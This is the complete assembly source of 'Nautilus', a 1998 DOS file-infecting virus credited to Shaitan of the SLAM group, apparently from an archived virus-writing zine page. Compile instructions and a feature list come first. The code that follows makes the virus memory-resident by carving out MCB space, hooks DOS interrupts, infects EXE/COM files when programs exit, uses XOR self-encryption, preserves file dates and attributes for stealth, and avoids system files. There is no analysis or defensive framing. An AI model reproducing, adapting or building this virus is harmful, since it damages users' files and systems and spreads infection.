Copy Link
Add to Bookmark
Report
SLAM4.052: Nautilus by Shaitan/SLAM
;------------------------------------------------------------------------------
; NAUTILUS.ASM - The Nautilus Virus Source Code (c) '98 The Shaitan/SLAM
;
; To compile, use:
; TASM /m2 nautilus.asm
; TLINK nautilus.obj
;
; FEATURES:
; * Multi-OS Virus: DOS/Windoze/OS2 Warp infection
; * TSR + Direct infection of EXE/COM
; * Infection on exit (yes, not execute!)
; * Self-encrypting with 8-bit variable encryption
; * Stealth (can infect even F-PROT/TBAV/AVP etc without problems!)
; * And more... :)
;
; NOTE:
; The technique used by Nautilus has already been exploited by Casio [SLAM]
; and Jacky Qwerty [29A]. But I found the technique so interesting, that I just
; *had* to do an implementation of it myself :).
;
;------------------------------------------------------------------------------
.model tiny
JUMPS
virus_size equ 1873
code_size equ virus_size - 512
.STACK 30
.CODE
org 0
begin:
mov si,offset encrypt_begin ; SI = Start of encrypted code
mov cx,encrypt_end-encrypt_begin ; CX = No. of bytes to decrypt
decrypt_loop:
db 2eh,80h,34h ; XOR BYTE PTR CS:[SI],KEY
key db 0 ; " " " "
inc si ; Increment SI
loop decrypt_loop ; Loop till all bytes are decrypted
encrypt_begin:
mov ax,ds ; Set AX to current data segment
mov word ptr cs:[_ds],ax ; Save it
mov ax,word ptr ds:[02ch] ; Retrieve Environment segment
mov es,ax ; Set ES to environment segment
mov di,0 ; ES:DI now points to environment
mov al,01h ; Search for 01h
mov cx,4196 ; Search upto 4k bytes
cld ; Clear direction flag
repne scasb ; Search...
inc di ; ES:DI = End of environment
push es ; Set DS to ES
pop ds ; " " "
mov si,di ; DS:SI = Path/Filename of host
push cs ; Set ES to CS
pop es ; " " "
mov di,offset hostname ; ES:DI = Buffer to copy filename to...
call strcpy ; Copy the ASCIIZ string to buffer
chk_tsr:
mov ax,0c0c0h ; Our "Are we TSR?" call...
int 21h ; Call DOS
cmp ax,0d0d0h ; Are we resident already?
jne go_tsr ; No. Go TSR now!
mov word ptr cs:[virus_seg],bx ; Retrieve our location in memory
jmp tsr_end ; Jump over installation routines...
go_tsr:
mov ah,52h ; DOS "Get List of Lists" call
int 21h ; Call DOS
mov ax,word ptr es:[bx-2] ; Get segment of first MCB in AX
mem_loop:
mov ds,ax ; Set DS to next MCB
cmp byte ptr ds:[0000h],'Z' ; Is this the last MCB?
je end_mem_loop ; Exit loop
add ax,word ptr ds:[0003h] ; Get next MCB
inc ax ; One block for MCB header
jmp mem_loop ; Loop
end_mem_loop:
sub word ptr ds:[0003h],256 ; Reserve 4 kb worth of memory
add ax,word ptr ds:[0003h] ; Calculate location of
inc ax ; virus in memory
mov word ptr cs:[virus_seg],ax ; Save location of virus in memory
copy_virus_to_mem:
mov es,ax ; Set ES
mov di,0 ; Set DI ,ES:DI = Virus mem location
mov ax,cs ; Get current segment
mov ds,ax ; Set DS to current segment
mov si,0 ; Set SI to start of virus source
mov cx,code_size ; Size of virus code
cld ; Direction = UP
rep movsb ; Copy all the bytes
push es ; Set DS to ES
pop ds ; " " "
get_set_vectors:
mov ax,3521h ; Get vector for INT 21h
int 21h ; Call DOS
mov word ptr ds:[old21+2],es; Save segment of original handler
mov word ptr ds:[old21+0],bx; Save offset of original handler
mov ax,2521h ; Set new vector for INT 21h
mov dx,offset new21 ; DS:DX = New INT 21h handler
int 21h ; Call DOS
mov ax,3520h ; Get vector for INT 20h
int 21h ; Call DOS
mov word ptr ds:[old20+2],es; Save segment of original handler
mov word ptr ds:[old20+0],bx; Save offset of original handler
mov ax,2520h ; Set new vector for Int 20h
mov dx,offset new20 ; DS:DX = new INT 20h handler
int 21h ; Call DOS
copy_exe_2_mem:
push cs ; Set DS to CS
pop ds ; " " "
mov dx,offset hostname ; DS:DX = Path/Filename of host
call openfile ; Open the host file
xchg ax,bx ; Save handle in BX
mov ax,word ptr cs:[virus_seg] ; Set DS to virus memory segment
mov ds,ax ; " " " " "
mov dx,code_size ; DS:DX = Buffer to read data to
mov cx,virus_size ; No. of bytes to read
call readfile ; Read the host file
mov ah, byte ptr cs:[key] ; Get the saved encryption key
call encrypt_in_mem ; Decrypt in memory
mov word ptr ds:[code_size+12h],'AR' ; Our infection marker...
mov word ptr ds:[code_size+offset g1_marker+512],'I' ;
call closefile ; Close the host file
tsr_end:
cmp byte ptr cs:[g1_marker],'O' ; Is this Generation-1?
je quit ; Yes. Exit!
restore_host:
push cs ; Set DS to CS
pop ds ; " " "
mov dx,offset hostname ; DS:DX = Path/filename of host
push ds ; Save DS
push dx ; Save DX
call saveattrib ; Save the host file attributes
call stripattrib ; Remove all access restrictions
call openfile ; Open the host file
jc restore_fail ; Error! Cannot continue...
xchg ax,bx ; Save handle in BX
call savedate ; Save the host file date
call gotoeof ; Seek to end of file
sub ax,virus_size ; Decrease by length of virus
sbb dx,0 ; " " " " "
mov cx,dx ; Set CX:DX to original end of host
mov dx,ax ; " " " " "
push cx ; Save CX
push dx ; Save DX
mov ax,4200h ; Seek to original end of host
int 21h ; Call DOS
mov ax,word ptr cs:[virus_seg] ; Set DS to virus memory location
mov ds,ax ; " " " "
mov dx,code_size+virus_size ; DS:DX = Buffer to hold read data
mov cx,virus_size ; No. of bytes to read
call readfile ; Read the file
pop dx ; Restore DX
pop cx ; Restore CX
mov ax,4200h ; Seek to original end of host
int 21h ; Call DOS
mov cx,0 ; Write 0 bytes
call writefile ; Truncate the file
call gotobof ; Goto beginning of file
mov dx,code_size+virus_size ; DS:DX = Buffer to write data from
mov cx,virus_size ; No. of bytes to write
call writefile ; Write back the original host data
call restoredate ; Restore host file date
call closefile ; Close the host file
restore_fail:
pop dx ; Restore DX
pop ds ; Restore DS
call restoreattrib ; Restore host file attributes
run_host:
mov ax,word ptr cs:[_ds] ; Get back saved DS
mov ds,ax ; Restore original DS
push ds ; Set ES to DS
pop es ; " " "
mov bx,256 ; Re-size block to 4k
mov ah,4ah ; DOS re-size memory block call
int 21h ; Call DOS
mov ax,ss ; Get current stack segment
mov word ptr cs:[_ss],ax ; Save it
mov word ptr cs:[_sp],sp ; Save stack pointer
mov word ptr cs:[par_cmd],80h ;
mov ax,ds ;
mov word ptr cs:[par_cmd+2],ax ;
mov ax,4b00h ;
push cs ;
pop es ;
mov bx,offset par_blk ;
push cs ;
pop ds ;
mov dx,offset hostname ;
int 21h ;
mov ax,word ptr cs:[_ss] ;
cli ;
mov ss,ax ;
mov sp,word ptr cs:[_sp] ;
sti ;
call direct_infect ;
quit:
show_string:
push cs ;
pop ds ;
mov ah,9h ;
mov dx,offset copyright ;
int 21h ;
mov ax,4c00h ; DOS exit call
int 21h ; Exit to DOS!
;------------------------------------------------------------------------------
new21:
cmp ax,0c0c0h ;
jne chk_other ;
mov ax,0d0d0h ;
mov bx,cs ;
iret ;
chk_other:
s_flags:
push ax ;
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
pushf ;
chk_exec:
cmp ah,4bh ;
jne chk_exit ;
mov si,dx ;
mov di, offset hostname ;
push cs ;
pop es ;
call strcpy ;
mov byte ptr cs:[infection_flag],1 ;
jmp r_flags ;
chk_exit:
exit_4c:
cmp ah,4ch ;
je infect_on_exit ;
exit_0:
cmp ah,0 ;
je infect_on_exit ;
exit_31:
cmp ah,31h ;
jne r_flags ;
infect_on_exit:
cmp byte ptr cs:[infection_flag],1 ;
jne r_flags ;
mov byte ptr cs:[infection_flag],0 ;
mov ax,cs ;
mov word ptr cs:[virus_seg],ax ;
push cs ;
pop ds ;
mov dx,offset hostname ;
call infect_file ;
r_flags:
popf ;
pop es ;
pop ds ;
pop di ;
pop si ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
olddos:
jmp dword ptr cs:[old21] ;
;------------------------------------------------------------------------------
new20:
push ax ;
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
pushf ;
cmp byte ptr cs:[infection_flag],1 ;
jne restore_flags ;
mov byte ptr cs:[infection_flag],0 ;
mov ax,cs ;
mov word ptr cs:[virus_seg],ax ;
push cs ;
pop ds ;
mov dx,offset hostname ;
call infect_file ;
restore_flags:
popf ;
pop es ;
pop ds ;
pop di ;
pop si ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
jmp dword ptr cs:[old20] ;
;------------------------------------------------------------------------------
infect_file:
mov byte ptr cs:[infect_success],0 ;
push ds ;
push dx ;
call chk_fname ;
cmp byte ptr cs:[fname_flag],1 ;
jne infect_end ;
call saveattrib ;
call stripattrib ;
call openfile ;
jc infect_end ;
xchg ax,bx ;
call savedate ;
mov ax,word ptr cs:[virus_seg] ;
mov ds,ax ;
mov dx,code_size+virus_size ;
mov cx,virus_size ;
call readfile ;
cmp word ptr ds:[code_size+virus_size+12h],'AR' ;
je infect_close ;
call make_key ;
mov byte ptr ds:[code_size+512+offset key],ah ;
push ax ;
call encrypt_in_mem ;
call gotobof ;
mov dx,code_size ;
mov cx,virus_size ;
call writefile ;
pop ax ;
call encrypt_in_mem ;
call gotoeof ;
mov dx,code_size+virus_size ;
mov cx,virus_size ;
call writefile ;
mov byte ptr cs:[infect_success],1 ;
infect_close:
call restoredate ;
call closefile ;
infect_end:
pop dx ;
pop ds ;
call restoreattrib ;
ret ;
;------------------------------------------------------------------------------
direct_infect:
mov byte ptr cs:[infect_counter],0 ;
mov ah,2fh ;
int 21h ;
mov word ptr cs:[olddta+2],es ;
mov word ptr cs:[olddta+0],bx ;
push cs ;
pop ds ;
mov dx,offset newdta ;
call setdta ;
mov dx,offset exematch ;
call findfirst ;
jc di_exit ;
mov dx,offset newdta+1eh ;
call infect_file ;
cmp byte ptr cs:[infect_success],1 ;
jne di_loop ;
inc byte ptr cs:[infect_counter] ;
di_loop:
call findnext ;
jc di_exit ;
mov dx,offset newdta+1eh ;
call infect_file ;
cmp byte ptr cs:[infect_success],1 ;
jne di_loop ;
inc byte ptr cs:[infect_counter] ;
cmp byte ptr cs:[infect_counter],2 ;
jne di_loop ;
di_exit:
mov ax,word ptr cs:[olddta+2] ;
mov ds,ax ;
mov dx,word ptr cs:[olddta+0] ;
call setdta ;
ret ;
;------------------------------------------------------------------------------
setdta:
mov ah,1ah ; DOS set new DTA call
int 21h ; Call DOS
ret ; Return to caller
;------------------------------------------------------------------------------
findfirst:
mov ah,4eh ; DOS find first call
mov cx,7 ; Look for every type of file
int 21h ; Call DOS
ret ; Return to caller
;------------------------------------------------------------------------------
findnext:
mov ah,4fh ; DOS find next file call
int 21h ; Call DOS
ret ; Return to caller
;------------------------------------------------------------------------------
openfile:
mov ax,3d02h ; Open file in read/write mode
int 21h ; Call DOS
ret ; Return to caller
;------------------------------------------------------------------------------
closefile:
mov ah,3eh ; DOS close file call
int 21h ; Call DOS
ret ; Return to caller
;------------------------------------------------------------------------------
readfile:
mov ah,3fh ; DOS read from file call
int 21h ; Call DOS
ret ; Return to DOS
;------------------------------------------------------------------------------
writefile:
mov ah,40h ; DOS write to file call
int 21h ; Call to DOS
ret ; Return to caller
;------------------------------------------------------------------------------
gotobof:
mov ax,4200h ;
xor cx,cx ;
xor dx,dx ;
int 21h ;
ret
;------------------------------------------------------------------------------
gotoeof:
mov ax,4202h ;
xor cx,cx ;
xor dx,dx ;
int 21h ;
ret ;
;------------------------------------------------------------------------------
saveattrib:
mov ax,4300h ;
int 21h ;
mov word ptr cs:[ori_attrib],cx ;
ret ;
;------------------------------------------------------------------------------
stripattrib:
mov ax,4301h ;
mov cx,0 ;
int 21h ;
ret
;------------------------------------------------------------------------------
restoreattrib:
mov ax,4301h ;
mov cx,word ptr cs:[ori_attrib] ;
int 21h ;
ret
;------------------------------------------------------------------------------
savedate:
mov ax,5700h ;
int 21h ;
mov word ptr cs:[ori_date],dx ;
mov word ptr cs:[ori_time],cx ;
ret ;
;------------------------------------------------------------------------------
restoredate:
mov ax,5701h ;
mov dx,word ptr cs:[ori_date] ;
mov cx,word ptr cs:[ori_time] ;
int 21h ;
ret ;
;------------------------------------------------------------------------------
make_key:
mov ah,2ch ;
int 21h ;
mov ah,ch ;
add ah,cl ;
add ah,dh ;
add ah,dl ;
inc ah ;
ret ;
;------------------------------------------------------------------------------
encrypt_in_mem:
mov si,code_size+512+offset encrypt_begin ;
mov cx,encrypt_end-encrypt_begin ;
mem_encrypt_loop:
xor byte ptr ds:[si],ah ;
inc si ;
loop mem_encrypt_loop ;
ret ;
;------------------------------------------------------------------------------
strcpy:
cld ; Clear direction flag
hncopy_loop:
movsb ; Copy one byte from DS:SI to ES:DI
cmp byte ptr ds:[si],0 ; Is this end of string?
jne hncopy_loop ; Nope. Loop till done...
movsb ; Copy the trailing 0 too!
ret ; Return to caller
;------------------------------------------------------------------------------
chk_fname:
push ds ; Save DS
push dx ; Save DX
mov di,dx ; Set ES:DI to start of filename
push ds ; " " " " "
pop es ; " " " " "
xor al,al ; Search for 0
mov cx,128 ; Search upto 128 bytes
cld ; Clear direction flag
repne scasb ; Search...
mov byte ptr cs:[fname_flag],0 ; Initialize the flag
chk_command:
cmp word ptr es:[di-12],'OC'; COMMAND.COM ?
je chk_fname_end ; Yes. Jump...
chk_win:
cmp word ptr es:[di-8],'IW' ; WIN.COM ?
je chk_fname_end ; Yes. Jump...
chk_user:
cmp word ptr es:[di-9],'SU' ; USER.EXE ?
je chk_fname_end ; Yes. Jump...
chk_gdi:
cmp word ptr es:[di-8],'DG' ; GDI.EXE ?
je chk_fname_end ; Yes. Jump...
chk_krnl:
cmp word ptr es:[di-12],'RK'; KRNL386.EXE ?
je chk_fname_end ; Yes. Jump...
chk_con:
cmp word ptr es:[di-13],'OC'; CONAGENT.EXE ?
je chk_fname_end ; Yes. Jump...
chk_explor:
cmp word ptr es:[di-13],'XE'; EXPLORER.EXE ?
je chk_fname_end ; Yes. Jump...
chk_sdrv:
cmp word ptr es:[di-13],'MS'; SMARTDRV.EXE ?
je chk_fname_end ; Yes. Jump...
chk_emm:
cmp word ptr es:[di-11],'ME'; EMM386.EXE ?
je chk_fname_end ; Yes. Jump...
fname_ok:
mov byte ptr cs:[fname_flag],1 ; Set flag as "Ok to infect" state
chk_fname_end:
pop dx ; Restore DX
pop ds ; REstore DS
ret ; Return to caller
;------------------------------------------------------------------------------
virus_data:
copyright db "[The Nautilus Virus (c) '98 Shaitan]$"
old21 dd ?
old20 dd ?
olddta dd ?
newdta db 43 dup (?)
exematch db "*.EXE",0
infect_success db 0
infect_counter db 0
fname_flag db 0
virus_seg dw ?
ori_attrib dw ?
ori_date dw ?
ori_time dw ?
par_blk dw 0
par_cmd dd ?
dd fcb1
dd fcb2
fcb1 db 0
db 11 dup(' ')
db 25 dup (0)
fcb2 db 0
db 11 dup(' ')
db 25 dup (0)
hostname db 128 dup(0)
_ss dw ?
_sp dw ?
_ds dw ?
infection_flag db 0
g1_marker db 'O'
encrypt_end:
end begin
;------------------------------------------------------------------------------